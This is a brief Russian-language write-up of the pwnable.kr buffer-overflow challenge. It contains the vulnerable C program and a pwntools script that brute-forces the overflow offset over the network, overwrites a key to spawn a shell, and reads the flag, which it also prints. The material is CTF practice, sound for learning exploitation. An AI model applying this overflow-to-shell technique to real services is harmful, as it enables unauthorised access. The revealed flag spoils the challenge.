Привет!
Сегодня пробую BOF Challenge от pwnable.kr
Исходный код: -
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
На первый взгляд мы видим, что используется метод gets (), что небезопасно, а размер буфера равен 32, а после этого выполняется ключевое сравнение с 0xcafebabe
, которое является постоянным во всех случаях.
Поэтому я быстро написал этот скрипт на Python, используя pwntools
, чтобы автоматически найти смещение и даже прочитать флаг.
from pwn import * key=p32(0xcafebabe) print "Brute-Force for the value starts" for i in range (32,100): sock=remote('pwnable.kr',9000) sock.sendline('A' * i + key) print "current offset",i res = sock.recv(4096,timeout=1) if(res==""): print "FOUND OFFSET", i sock.sendline("cat flag") sock.interactive() break else: sock.close()
key=p32(0xcafebabe)
, потому что в новых системах порядок байтов порядковый.
Он в основном создает соединение с pwnable.kr:9000
, а затем начинает отправлять A от 32 до 100 раз, как только res не получает ввода, т.е. оболочка была создана, она передает cat flag
, что является: -
daddy, I just pwned a buFFer :)
и переключение оболочки interactive()
.
Коды на: - https://github.com/Coding-Karma/Exploit-Dev